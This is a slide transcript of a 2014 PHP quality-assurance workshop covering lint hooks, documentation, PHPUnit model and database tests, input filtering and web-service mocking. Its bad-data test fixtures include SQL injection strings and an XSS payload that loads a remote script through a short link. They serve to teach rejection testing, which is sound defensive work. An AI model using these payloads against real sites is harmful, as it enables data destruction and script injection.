Download - Workshop quality assurance for php projects - PHPNW Manchester 2014

Transcript
Page 1: Workshop quality assurance for php projects - PHPNW Manchester 2014

QA for PHP projects

Page 2: Workshop quality assurance for php projects - PHPNW Manchester 2014

Michelangelo van Dam

Page 3: Workshop quality assurance for php projects - PHPNW Manchester 2014

Schedule Workshop

Introduction to Quality Assurance Revision control

Documenting Testing

Measuring Automating Team works!

Page 4: Workshop quality assurance for php projects - PHPNW Manchester 2014

#phpqa

Page 5: Workshop quality assurance for php projects - PHPNW Manchester 2014

Introduction to QA

Page 6: Workshop quality assurance for php projects - PHPNW Manchester 2014

Why QA?

Page 7: Workshop quality assurance for php projects - PHPNW Manchester 2014

Why QA

Safeguarding code

Page 8: Workshop quality assurance for php projects - PHPNW Manchester 2014

Detect bugs early

Page 9: Workshop quality assurance for php projects - PHPNW Manchester 2014

Observe behavior

Page 10: Workshop quality assurance for php projects - PHPNW Manchester 2014

Prevent accidents from happening

Page 11: Workshop quality assurance for php projects - PHPNW Manchester 2014

Tracking progress

Page 12: Workshop quality assurance for php projects - PHPNW Manchester 2014

Why invest in QA?

Page 13: Workshop quality assurance for php projects - PHPNW Manchester 2014

Keeps your code in shape

Page 14: Workshop quality assurance for php projects - PHPNW Manchester 2014

Measures speed and performance

Page 15: Workshop quality assurance for php projects - PHPNW Manchester 2014

Boosts team spirit

Page 16: Workshop quality assurance for php projects - PHPNW Manchester 2014

Saves time

Page 17: Workshop quality assurance for php projects - PHPNW Manchester 2014

Reports continuously

Page 18: Workshop quality assurance for php projects - PHPNW Manchester 2014

Delivers ready to deploy packages

Page 19: Workshop quality assurance for php projects - PHPNW Manchester 2014

Quality Assurance Tools

Page 20: Workshop quality assurance for php projects - PHPNW Manchester 2014

Revision Control

Page 21: Workshop quality assurance for php projects - PHPNW Manchester 2014

Subversion

Page 22: Workshop quality assurance for php projects - PHPNW Manchester 2014

GIT

Page 23: Workshop quality assurance for php projects - PHPNW Manchester 2014

github

Page 24: Workshop quality assurance for php projects - PHPNW Manchester 2014

Mercurial

Page 25: Workshop quality assurance for php projects - PHPNW Manchester 2014

Bazaar

Page 26: Workshop quality assurance for php projects - PHPNW Manchester 2014

FTP

Page 27: Workshop quality assurance for php projects - PHPNW Manchester 2014

Advantages of SCM

• team development possible • tracking multi-versions of source code • moving back and forth in history • tagging of milestones • backup of source code • accessible from - command line - native apps - IDE’s - analytical tools

TIP:  hooks  for  tools

Page 28: Workshop quality assurance for php projects - PHPNW Manchester 2014

Syntax Checking

Page 29: Workshop quality assurance for php projects - PHPNW Manchester 2014

php  -­‐l  (lint)

hAp://www.php.net/manual/en/features.commandline.opGons.php

Page 30: Workshop quality assurance for php projects - PHPNW Manchester 2014

PHP Lint

• checks the syntax of code • build in PHP core • is used per file - pre-commit hook for version control system - batch processing of files

• can provide reports - but if something fails -> the build fails

TIP:  pre-­‐commit  hook

Page 31: Workshop quality assurance for php projects - PHPNW Manchester 2014

Syntax

php -lf /path/to/filename.php

Page 32: Workshop quality assurance for php projects - PHPNW Manchester 2014

PHP  Lint  on  Command  Line

Page 33: Workshop quality assurance for php projects - PHPNW Manchester 2014

SVN Pre commit hook#!/bin/sh # # Pre-commit hook to validate syntax of incoming PHP files, if no failures it # accepts the commit, otherwise it fails and blocks the commit !REPOS="$1" TXN="$2" !# modify these system executables to match your system PHP=/usr/bin/php AWK=/usr/bin/awk GREP=/bin/grep SVNLOOK=/usr/bin/svnlook !# PHP Syntax checking with PHP Lint # originally from Joe Stump at Digg # https://gist.github.com/53225 # for i in `$SVNLOOK changed -t "$TXN" "$REPOS" | $AWK '{print $2}'` do if [ ${i##*.} == php ]; then CHECK=`$SVNLOOK cat -t "$TXN" "$REPOS" $i | $PHP -d html_errors=off -l || echo $i` RETURN=`echo $CHECK | $GREP "^No syntax" > /dev/null && echo TRUE || echo FALSE` if [ $RETURN = 'FALSE' ]; then echo $CHECK 1>&2; exit 1 fi fi done

Page 34: Workshop quality assurance for php projects - PHPNW Manchester 2014

SVN  pre-­‐commit  hook

Page 35: Workshop quality assurance for php projects - PHPNW Manchester 2014

Documenting

Page 36: Workshop quality assurance for php projects - PHPNW Manchester 2014

Why documenting?

• new members in the team • working with remote workers • analyzing improvements • think before doing • used by IDE’s and editors for code hinting ;-)

Page 37: Workshop quality assurance for php projects - PHPNW Manchester 2014

Phpdoc2

Page 38: Workshop quality assurance for php projects - PHPNW Manchester 2014

Phpdoc2  class  details

Page 39: Workshop quality assurance for php projects - PHPNW Manchester 2014

Based  on  docblocks  in  code

Page 40: Workshop quality assurance for php projects - PHPNW Manchester 2014

And  the  output

Page 41: Workshop quality assurance for php projects - PHPNW Manchester 2014

Phpdoc2  class  relaGon  chart

Page 42: Workshop quality assurance for php projects - PHPNW Manchester 2014

Phpdoc2  on  your  project

Page 43: Workshop quality assurance for php projects - PHPNW Manchester 2014

Testing

Page 44: Workshop quality assurance for php projects - PHPNW Manchester 2014

Any reasons not to test?

Page 45: Workshop quality assurance for php projects - PHPNW Manchester 2014

Most common excuses

• no time • not within budget • development team does not know how • tests are provided after delivery • …

Page 46: Workshop quality assurance for php projects - PHPNW Manchester 2014

NO EXCUSES!

Page 47: Workshop quality assurance for php projects - PHPNW Manchester 2014

Maintainability

• during development - test will fail indicating bugs

• after sales support - testing if an issue is genuine - fixing issues won’t break code base ‣ if they do, you need to fix it!

• long term projects - refactoring made easy

Page 48: Workshop quality assurance for php projects - PHPNW Manchester 2014

Remember

“Once a test is made, it will always be tested!”

Page 49: Workshop quality assurance for php projects - PHPNW Manchester 2014
Page 50: Workshop quality assurance for php projects - PHPNW Manchester 2014

Confidence

• for the developer - code works

• for the manager - project succeeds

• for sales / general management / share holders - making profit

• for the customer - paying for what they want

Page 51: Workshop quality assurance for php projects - PHPNW Manchester 2014
Page 52: Workshop quality assurance for php projects - PHPNW Manchester 2014

Unit testing PHP apps

Page 53: Workshop quality assurance for php projects - PHPNW Manchester 2014

Setting things up

Page 54: Workshop quality assurance for php projects - PHPNW Manchester 2014

Example phpunit.xml<phpunit        colors="true"    bootstrap="TestHelper.php”  stopOnFailure="true"  stopOnError="true"  syntaxCheck="true">  !    <testsuite  name="Mastering  PHPUnit">          <directory>./tests</directory>      </testsuite>  !    <blacklist><directory>../vendor</directory></blacklist>  !    <logging>          <log                type="coverage-­‐html"                target="./build/coverage"                charset="UTF-­‐8"                yui="true"                highlight="true"                lowUpperBound="35"                highLowerBound="70"/>      </logging>  </phpunit>

Page 55: Workshop quality assurance for php projects - PHPNW Manchester 2014

When using composer<phpunit        colors="true"      bootstrap="./vendor/autoload.php"      stopOnFailure="true"        stopOnError="true"        syntaxCheck="true">  !    <testsuite  name="Mastering  PHPUnit">          <directory>./tests</directory>      </testsuite>  !    <blacklist><directory>../vendor</directory></blacklist>  !    <logging>          <log                type="coverage-­‐html"                target="./build/coverage"                charset="UTF-­‐8"                yui="true"                highlight="true"                lowUpperBound="35"                highLowerBound="70"/>      </logging>  </phpunit>

Page 56: Workshop quality assurance for php projects - PHPNW Manchester 2014

TestHelper.php<?php !// set our app paths and environments !define('BASE_PATH', realpath(dirname(__FILE__) . '/../')); !define('APPLICATION_PATH', BASE_PATH . '/application'); !define('TEST_PATH', BASE_PATH . '/tests'); !define('APPLICATION_ENV', 'testing'); !!// Include path !set_include_path( !    . PATH_SEPARATOR . BASE_PATH . '/library' !    . PATH_SEPARATOR . get_include_path() !); !!// Set the default timezone !!! !date_default_timezone_set('Europe/Brussels'); !!// We wanna catch all errors en strict warnings !error_reporting(E_ALL|E_STRICT); !!require_once 'Zend/Application.php'; !$application = new Zend_Application( !    APPLICATION_ENV, !    APPLICATION_PATH . '/configs/application.ini' !); !!$application->bootstrap();

Page 57: Workshop quality assurance for php projects - PHPNW Manchester 2014

Frameworks help

• Symfony • Zend Framework • Aura • Lithium • Laravel • …

Page 58: Workshop quality assurance for php projects - PHPNW Manchester 2014

Let’s get started…

Page 59: Workshop quality assurance for php projects - PHPNW Manchester 2014

Testing models

Page 60: Workshop quality assurance for php projects - PHPNW Manchester 2014

Testing business logic

• models contain logic - tied to your business - tied to your storage - tied to your resources

• no “one size fits all” solution

Page 61: Workshop quality assurance for php projects - PHPNW Manchester 2014

Type: data containers

• contains structured data - populated through setters and getters

• perform logic tied to it’s purpose - transforming data - filtering data - validating data

• can convert into other data types - arrays - strings (JSON, serialized, xml, …)

• are providers to other models

Page 62: Workshop quality assurance for php projects - PHPNW Manchester 2014

Comment Class

Page 63: Workshop quality assurance for php projects - PHPNW Manchester 2014

Writing model test<?php !class Application_Model_CommentTest extends PHPUnit_Framework_TestCase !{ !    protected $_comment; !    protected function setUp() !    { !        $this->_comment = new Application_Model_Comment(); !        parent::setUp(); !    } !    protected function tearDown() !    { !        parent::tearDown(); !        $this->_comment = null; !    } !    public function testModelIsEmptyAtConstruct() !    { !        $this->assertSame(0, $this->_comment->getId()); !        $this->assertNull($this->_comment->getFullName()); !        $this->assertNull($this->_comment->getEmailAddress()); !        $this->assertNull($this->_comment->getWebsite()); !        $this->assertNull($this->_comment->getComment()); !    } !}

Page 64: Workshop quality assurance for php projects - PHPNW Manchester 2014

This test won’t run!

Page 65: Workshop quality assurance for php projects - PHPNW Manchester 2014

Create a simple model<?php !!class Application_Model_Comment !{ !    protected $_id = 0; protected $_fullName; protected $_emailAddress; !    protected $_website; protected $_comment; !     !    public function setId($id) { $this->_id = (int) $id; return $this; } !    public function getId() { return $this->_id; } !    public function setFullName($fullName) { $this->_fullName = (string) $fullName; return $this; } !    public function getFullName() { return $this->_fullName; } !    public function setEmailAddress($emailAddress) { $this->_emailAddress = (string) $emailAddress; return $this; } !    public function getEmailAddress() { return $this->_emailAddress; } !    public function setWebsite($website) { $this->_website = (string) $website; return $this; } !    public function getWebsite() { return $this->_website; } !    public function setComment($comment) { $this->_comment = (string) $comment; return $this; } !    public function getComment() { return $this->_comment; } !    public function populate($row) { !        if (is_array($row)) { !            $row = new ArrayObject($row, ArrayObject::ARRAY_AS_PROPS); !        } !        if (isset ($row->id)) $this->setId($row->id); !        if (isset ($row->fullName)) $this->setFullName($row->fullName); !        if (isset ($row->emailAddress)) $this->setEmailAddress($row->emailAddress); !        if (isset ($row->website)) $this->setWebsite($row->website); !        if (isset ($row->comment)) $this->setComment($row->comment); !    } !    public function toArray() { !        return array ( !            'id'           => $this->getId(), !            'fullName'     => $this->getFullName(), !            'emailAddress' => $this->getEmailAddress(), !            'website'      => $this->getWebsite(), !            'comment'      => $this->getComment(), !        ); !    } !}

Page 66: Workshop quality assurance for php projects - PHPNW Manchester 2014

We pass the test…

Page 67: Workshop quality assurance for php projects - PHPNW Manchester 2014

Really ???

Page 68: Workshop quality assurance for php projects - PHPNW Manchester 2014

Protection!

We Need Protection!

Page 69: Workshop quality assurance for php projects - PHPNW Manchester 2014

Little Bobby Tables

http://xkcd.com/327/

Page 70: Workshop quality assurance for php projects - PHPNW Manchester 2014

Is this your project?

Page 71: Workshop quality assurance for php projects - PHPNW Manchester 2014

Not all data from form!

• model can be populated from - users through the form - data stored in the database - a web service (hosted by yourself or 3rd-party)

• simply test it - by using same test scenario’s from our form

Page 72: Workshop quality assurance for php projects - PHPNW Manchester 2014

The nasty internet

https://www.owasp.org/index.php/Top_10_2013-Top_10

Page 73: Workshop quality assurance for php projects - PHPNW Manchester 2014

The good stuffpublic function goodData() !{ !    return array ( !        array ('John Doe', '[email protected]',  !               'http://example.com', 'test comment'), !        array ("Matthew Weier O'Phinney", '[email protected]',  !               'http://weierophinney.net', 'Doing an MWOP-Test'), !        array ('D. Keith Casey, Jr.', '[email protected]',  !               'http://caseysoftware.com', 'Doing a monkey dance'), !    ); !} !/** ! * @dataProvider goodData ! */ !public function testModelAcceptsValidData($name, $mail, $web, $comment) !{ !    $data = array ( !        'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment, !    ); !    try { !        $this->_comment->populate($data); !    } catch (Zend_Exception $e) { !        $this->fail('Unexpected exception should not be triggered'); !    } !    $data['id'] = 0; !    $data['emailAddress'] = strtolower($data['emailAddress']); !    $data['website'] = strtolower($data['website']); !    $this->assertSame($this->_comment->toArray(), $data); !}

Page 74: Workshop quality assurance for php projects - PHPNW Manchester 2014

The bad stuffpublic function badData() !{ !    return array ( !        array ('','','',''), !        array ("Robert'; DROP TABLES comments; --", '', 'http://xkcd.com/327/','Little Bobby Tables'), !        array (str_repeat('x', 1000), '', '', ''), !        array ('John Doe', '[email protected]', "http://t.co/@\"style=\"font-size:999999999999px;\"onmouseover=\"$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')\"/", 'exploit twitter 9/21/2010'), !    ); !} !/** ! * @dataProvider badData ! */ !public function testModelRejectsBadData($name, $mail, $web, $comment) !{ !    $data = array ( !        'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment, !    ); !    try { !        $this->_comment->populate($data); !    } catch (Zend_Exception $e) { !        return; !    } !    $this->fail('Expected exception should be triggered'); !     !}

Page 75: Workshop quality assurance for php projects - PHPNW Manchester 2014

Let’s run it

Page 76: Workshop quality assurance for php projects - PHPNW Manchester 2014

Add input filters! (and don’t build it yourself!)

• Zend Framework 1: Zend_Filter_Input • Zend Framework 2: Zend\InputFilter • Symfony: Symfony\Component\Validator • Aura: Aura\Framework\Input\Filter • Lithium: lithium\util\Validator • Laravel: App\Validator • …

Page 77: Workshop quality assurance for php projects - PHPNW Manchester 2014

Modify our modelprotected $_filters; !protected $_validators; !!public function __construct($params = null) !{ !    $this->_filters = array ( !        'id' => array ('Int'), !        'fullName' => array ('StringTrim', 'StripTags', new Zend_Filter_Alnum(true)), !        'emailAddress' => array ('StringTrim', 'StripTags', 'StringToLower'), !        'website' => array ('StringTrim', 'StripTags', 'StringToLower'), !        'comment' => array ('StringTrim', 'StripTags'), !    ); !    $this->_validators = array ( !        'id' => array ('Int'), !        'fullName' => array ( !            new Zftest_Validate_Mwop(), !            new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)), !        ), !        'emailAddress' => array ( !            'EmailAddress', !            new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)), !        ), !        'website' => array ( !            new Zend_Validate_Callback(array('Zend_Uri', 'check')), !            new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)), !        ), !        'comment' => array ( !            new Zftest_Validate_TextBox(), !            new Zend_Validate_StringLength(array ('max' => 5000)), !        ), !    ); !    if (null !== $params) { $this->populate($params); } !}

Page 78: Workshop quality assurance for php projects - PHPNW Manchester 2014

Modify setters: Id & namepublic function setId($id) !{ !    $input = new Zend_Filter_Input($this->_filters, $this->_validators); !    $input->setData(array ('id' => $id)); !    if (!$input->isValid('id')) { !        throw new Zend_Exception('Invalid ID provided'); !    } !    $this->_id = (int) $input->id; !    return $this; !} !!public function setFullName($fullName) !{ !    $input = new Zend_Filter_Input($this->_filters, $this->_validators); !    $input->setData(array ('fullName' => $fullName)); !    if (!$input->isValid('fullName')) { !        throw new Zend_Exception('Invalid fullName provided'); !    } !    $this->_fullName = (string) $input->fullName; !    return $this; !}

Page 79: Workshop quality assurance for php projects - PHPNW Manchester 2014

Email & websitepublic function setEmailAddress($emailAddress) !{ !    $input = new Zend_Filter_Input($this->_filters, $this->_validators); !    $input->setData(array ('emailAddress' => $emailAddress)); !    if (!$input->isValid('emailAddress')) { !        throw new Zend_Exception('Invalid emailAddress provided'); !    } !    $this->_emailAddress = (string) $input->emailAddress; !    return $this; !} !!public function setWebsite($website) !{ !    $input = new Zend_Filter_Input($this->_filters, $this->_validators); !    $input->setData(array ('website' => $website)); !    if (!$input->isValid('website')) { !        throw new Zend_Exception('Invalid website provided'); !    } !    $this->_website = (string) $input->website; !    return $this; !}

Page 80: Workshop quality assurance for php projects - PHPNW Manchester 2014

and commentpublic function setComment($comment) !{ !    $input = new Zend_Filter_Input($this->_filters, $this->_validators); !    $input->setData(array ('comment' => $comment)); !    if (!$input->isValid('comment')) { !        throw new Zend_Exception('Invalid comment provided'); !    } !    $this->_comment = (string) $input->comment; !    return $this; !}

Page 81: Workshop quality assurance for php projects - PHPNW Manchester 2014

Now we’re good!

Page 82: Workshop quality assurance for php projects - PHPNW Manchester 2014

Exercise: Test for bad input<?php  namespace  Myapp\Common\User;      class  Service  {          public  function  login($username,  $password)          {                  $options  =  array  (                          'options'  =>  array  (                                  'default'  =>  false,                                  'regexp'  =>  '/^[a-­‐z0-­‐9]+$/',                          ),                  );                  $username  =  \filter_var($username,  FILTER_SANITIZE_STRING);                  if  (false  ===  \filter_var($username,  FILTER_VALIDATE_REGEXP,  $options))  {                          return  false;                  }                  //  continue  with  login  procedure                  return  true;          }  }

Page 83: Workshop quality assurance for php projects - PHPNW Manchester 2014

Exercise: Test for bad input<?php  namespace  Myapp\Common\User;      class  ServiceTest  extends  \PHPUnit_Framework_TestCase  {          public  function  badDataProvider()          {                  return  array  (                          array  ("1'  OR  1  =  1;",  'randompassword'),                  );          }              /**            *  @dataProvider  badDataProvider            */          public  function  testLoginCredentialsAreValid($username,  $password)          {                  $service  =  new  Service();                  $this-­‐>assertFalse($service-­‐>login($username,  $password));          }  }

Page 84: Workshop quality assurance for php projects - PHPNW Manchester 2014

Testing Databases

Page 85: Workshop quality assurance for php projects - PHPNW Manchester 2014

Integration Testing

• database specific functionality - triggers - constraints - stored procedures - sharding/scalability

• data input/output - correct encoding of data - transactions execution and rollback

Page 86: Workshop quality assurance for php projects - PHPNW Manchester 2014

Points of concern

• beware of automated data types - auto increment sequence ID’s - default values like CURRENT_TIMESTAMP

• beware of time related issues - timestamp vs. datetime - UTC vs. local time

Page 87: Workshop quality assurance for php projects - PHPNW Manchester 2014

The domain Model

• Model object • Mapper object • Table gateway object

Read more about it ☞

Page 88: Workshop quality assurance for php projects - PHPNW Manchester 2014

Change our test class

class Application_Model_CommentTest extends PHPUnit_Framework_TestCase

!becomes

!class Application_Model_CommentTest extends Zend_Test_PHPUnit_DatabaseTestCase

Page 89: Workshop quality assurance for php projects - PHPNW Manchester 2014

Setting DB Testing upprotected $_connectionMock; "!public function getConnection() "{ "    if (null === $this->_dbMock) { "        $this->bootstrap = new Zend_Application( "            APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini'); "        $this->bootstrap->bootstrap('db'); "        $db = $this->bootstrap->getBootstrap()->getResource('db'); "        $this->_connectionMock = $this->createZendDbConnection( "            $db, 'zftest' "        ); "        return $this->_connectionMock; "    } "} "!public function getDataSet() "{ "    return $this->createFlatXmlDataSet( "        realpath(APPLICATION_PATH . '/../tests/_files/initialDataSet.xml')); "}

Page 90: Workshop quality assurance for php projects - PHPNW Manchester 2014

initialDataSet.xml<?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="[email protected]" website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment id="2" fullName="Martin Fowler" emailAddress="[email protected]" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> </dataset>

Page 91: Workshop quality assurance for php projects - PHPNW Manchester 2014

Testing SELECTpublic function testDatabaseCanBeRead() "{ "    $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( "        $this->getConnection()); "    $ds->addTable('comment', 'SELECT * FROM `comment`'); "     "    $expected = $this->createFlatXMLDataSet( "        APPLICATION_PATH . '/../tests/_files/selectDataSet.xml'); "    $this->assertDataSetsEqual($expected, $ds); "}

Page 92: Workshop quality assurance for php projects - PHPNW Manchester 2014

selectDataSet.xml<?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="[email protected]" website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment id="2" fullName="Martin Fowler" emailAddress="[email protected]" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> </dataset>

Page 93: Workshop quality assurance for php projects - PHPNW Manchester 2014

Testing UPDATEpublic function testDatabaseCanBeUpdated() "{ "    $comment = new Application_Model_Comment(); "    $mapper = new Application_Model_CommentMapper(); "    $mapper->find(1, $comment); "    $comment->setComment('I like you picking up the challenge!'); "    $mapper->save($comment); "     "    $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( "        $this->getConnection()); "    $ds->addTable('comment', 'SELECT * FROM `comment`'); "     "    $expected = $this->createFlatXMLDataSet( "        APPLICATION_PATH . '/../tests/_files/updateDataSet.xml'); "    $this->assertDataSetsEqual($expected, $ds); "}

Page 94: Workshop quality assurance for php projects - PHPNW Manchester 2014

updateDataSet.xml<?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="[email protected]" website="http://www.a-team.com" comment="I like you picking up the challenge!"/> <comment id="2" fullName="Martin Fowler" emailAddress="[email protected]" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> </dataset>

Page 95: Workshop quality assurance for php projects - PHPNW Manchester 2014

Testing DELETEpublic function testDatabaseCanDeleteAComment() "{ "    $comment = new Application_Model_Comment(); "    $mapper = new Application_Model_CommentMapper(); "    $mapper->find(1, $comment) "           ->delete($comment); "    $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( "        $this->getConnection()); "    $ds->addTable('comment', 'SELECT * FROM `comment`'); "     "    $expected = $this->createFlatXMLDataSet( "        APPLICATION_PATH . '/../tests/_files/deleteDataSet.xml'); "    $this->assertDataSetsEqual($expected, $ds); "}

Page 96: Workshop quality assurance for php projects - PHPNW Manchester 2014

deleteDataSet.xml<?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="2" fullName="Martin Fowler" emailAddress="[email protected]" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> </dataset>

Page 97: Workshop quality assurance for php projects - PHPNW Manchester 2014

Testing INSERTpublic function testDatabaseCanAddAComment() "{ "    $comment = new Application_Model_Comment(); "    $comment->setFullName('Michelangelo van Dam') "            ->setEmailAddress('[email protected]') "            ->setWebsite('http://www.dragonbe.com') "            ->setComment('Unit Testing, It is so addictive!!!'); "    $mapper = new Application_Model_CommentMapper(); "    $mapper->save($comment); "     "    $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( "        $this->getConnection()); "    $ds->addTable('comment', 'SELECT * FROM `comment`'); "     "    $expected = $this->createFlatXMLDataSet( "        APPLICATION_PATH . '/../tests/_files/addDataSet.xml'); "    $this->assertDataSetsEqual($expected, $ds); "}

Page 98: Workshop quality assurance for php projects - PHPNW Manchester 2014

insertDataSet.xml<?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="[email protected]" website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment id="2" fullName="Martin Fowler" emailAddress="[email protected]" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> <comment id="3" fullName="Michelangelo van Dam" emailAddress="[email protected]" website="http://www.dragonbe.com" comment="Unit Testing, It is so addictive!!!"/> </dataset>

Page 99: Workshop quality assurance for php projects - PHPNW Manchester 2014

Run Test

Page 100: Workshop quality assurance for php projects - PHPNW Manchester 2014

What went wrong here?

Page 101: Workshop quality assurance for php projects - PHPNW Manchester 2014

AUTO_INCREMENT

Page 102: Workshop quality assurance for php projects - PHPNW Manchester 2014

Testing INSERT w/ filterpublic function testDatabaseCanAddAComment() "{ "    $comment = new Application_Model_Comment(); "    $comment->setFullName('Michelangelo van Dam') "            ->setEmailAddress('[email protected]') "            ->setWebsite('http://www.dragonbe.com') "            ->setComment('Unit Testing, It is so addictive!!!'); "    $mapper = new Application_Model_CommentMapper(); "    $mapper->save($comment); "     "    $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( "        $this->getConnection()); "    $ds->addTable('comment', 'SELECT * FROM `comment`'); "    $filteredDs = new PHPUnit_Extensions_Database_DataSet_DataSetFilter( "            $ds, array ('comment' => array ('id'))); "     "    $expected = $this->createFlatXMLDataSet( "        APPLICATION_PATH . '/../tests/_files/addDataSet.xml'); "    $this->assertDataSetsEqual($expected, $filteredDs); "}

Page 103: Workshop quality assurance for php projects - PHPNW Manchester 2014

insertDataSet.xml<?xml version="1.0" encoding="UTF-8"?> <dataset> <comment fullName="B.A. Baracus" emailAddress="[email protected]" website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment fullName="Martin Fowler" emailAddress="[email protected]" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> <comment fullName="Michelangelo van Dam" emailAddress="[email protected]" website="http://www.dragonbe.com" comment="Unit Testing, It is so addictive!!!"/> </dataset>

Page 104: Workshop quality assurance for php projects - PHPNW Manchester 2014

Run Test

Page 105: Workshop quality assurance for php projects - PHPNW Manchester 2014

• Database testing • is SLOW • is INTEGRATION • is IRRELEVANT

Page 106: Workshop quality assurance for php projects - PHPNW Manchester 2014

Use Faker

Page 107: Workshop quality assurance for php projects - PHPNW Manchester 2014

Faker generates data!<?php "namespace Project\Object; "!class EntryTest extends \PHPUnit_Framework_TestCase "{ "    protected $_faker; "    protected function setUp() "    { "        $this->_faker = \Faker\Factory::create(); "    } "    protected function tearDown() "    { "        $this->_faker = null;"    } "    public function testPopulateVehicleWithData() "    { "        $entry = array ( "            'mileage' => $this->_faker->numberBetween(1, 999999), "            'quantity' => $this->_faker->randomFloat(2, 0, 80), "            'unitPrice' => $this->_faker->randomFloat(3, 0, 5), "        ); "        $vehicle = new Vehicle(); "        $vehicle->getEntries()->add(new Entry($entry)); "        $this->assertEquals($entry, $vehicle->getEntries()->current()->toArray()); "    } "}

Page 108: Workshop quality assurance for php projects - PHPNW Manchester 2014

Testing web services

Page 109: Workshop quality assurance for php projects - PHPNW Manchester 2014

Web services remarks

• you need to comply with an API - that will be your reference

• you cannot always make a test-call - paid services per call - test environment is “offline” - network related issues

Page 110: Workshop quality assurance for php projects - PHPNW Manchester 2014

Example: joind.in

Page 111: Workshop quality assurance for php projects - PHPNW Manchester 2014

http://joind.in/api

Page 112: Workshop quality assurance for php projects - PHPNW Manchester 2014

JoindinTest<?php "class Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase "{ "    protected $_joindin; "    protected $_settings; "     "    protected function setUp() "    { "        $this->_joindin = new Zftest_Service_Joindin(); "        $settings = simplexml_load_file(realpath( "            APPLICATION_PATH . '/../tests/_files/settings.xml')); "        $this->_settings = $settings->joindin; "        parent::setUp(); "    } "    protected function tearDown() "    { "        parent::tearDown(); "        $this->_joindin = null; "    } "}

Page 113: Workshop quality assurance for php projects - PHPNW Manchester 2014

JoindinTestpublic function testJoindinCanGetUserDetails() "{ "    $expected = '<?xml version="1.0"?><response><item><username>DragonBe</username><full_name>Michelangelo van Dam</full_name><ID>19</ID><last_login>1303248639</last_login></item></response>'; "    $this->_joindin->setUsername($this->_settings->username) "                   ->setPassword($this->_settings->password); "    $actual = $this->_joindin->user()->getDetail(); "    $this->assertXmlStringEqualsXmlString($expected, $actual); "} "!public function testJoindinCanCheckStatus() "{ "    $date = new DateTime(); "    $date->setTimezone(new DateTimeZone('UTC')); "    $expected = '<?xml version="1.0"?><response><dt>' . $date->format('r') . '</dt><test_string>testing unit test</test_string></response>'; "    $actual = $this->_joindin->site()->getStatus('testing unit test'); "    $this->assertXmlStringEqualsXmlString($expected, $actual); "}

Page 114: Workshop quality assurance for php projects - PHPNW Manchester 2014

Testing the service

Page 115: Workshop quality assurance for php projects - PHPNW Manchester 2014

Euh… what?1) Zftest_Service_JoindinTest::testJoindinCanGetUserDetails Failed asserting that two strings are equal. --- Expected +++ Actual @@ @@ <ID>19</ID> - <last_login>1303248639</last_login> + <last_login>1303250271</last_login> </item> </response>

Page 116: Workshop quality assurance for php projects - PHPNW Manchester 2014

And this?2) Zftest_Service_JoindinTest::testJoindinCanCheckStatus Failed asserting that two strings are equal. --- Expected +++ Actual @@ @@ <?xml version="1.0"?> <response> - <dt>Tue, 19 Apr 2011 22:26:40 +0000</dt> + <dt>Tue, 19 Apr 2011 22:26:41 +0000</dt> <test_string>testing unit test</test_string> </response>

Latency of the network 1s

Page 117: Workshop quality assurance for php projects - PHPNW Manchester 2014

Solution… right here!

Page 118: Workshop quality assurance for php projects - PHPNW Manchester 2014

Your expectations

Page 119: Workshop quality assurance for php projects - PHPNW Manchester 2014

JoindinTest<?php class Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase { protected $_joindin; protected $_settings; protected function setUp() { $this->_joindin = new Zftest_Service_Joindin();         $client = new Zend_Http_Client(); "        $client->setAdapter(new Zend_Http_Client_Adapter_Test()); "        $this->_joindin->setClient($client);" $settings = simplexml_load_file(realpath( APPLICATION_PATH . '/../tests/_files/settings.xml')); $this->_settings = $settings->joindin; parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_joindin = null; } }

Page 120: Workshop quality assurance for php projects - PHPNW Manchester 2014

JoindinUserMockTestpublic function testJoindinCanGetUserDetails() {     $response = <<<EOS "HTTP/1.1 200 OK "Content-type: text/xml "!<?xml version="1.0"?> "<response> "  <item> "    <username>DragonBe</username> "    <full_name>Michelangelo van Dam</full_name> "    <ID>19</ID> "    <last_login>1303248639</last_login> "  </item> "</response>         "EOS; "    $client = $this->_joindin->getClient()->getAdapter()->setResponse($response); $expected = '<?xml version="1.0"?><response><item><username>DragonBe</username><full_name>Michelangelo van Dam</full_name><ID>19</ID><last_login>1303248639</last_login></item></response>';" $this->_joindin->setUsername($this->_settings->username) ->setPassword($this->_settings->password); $actual = $this->_joindin->user()->getDetail(); $this->assertXmlStringEqualsXmlString($expected, $actual); }

Page 121: Workshop quality assurance for php projects - PHPNW Manchester 2014

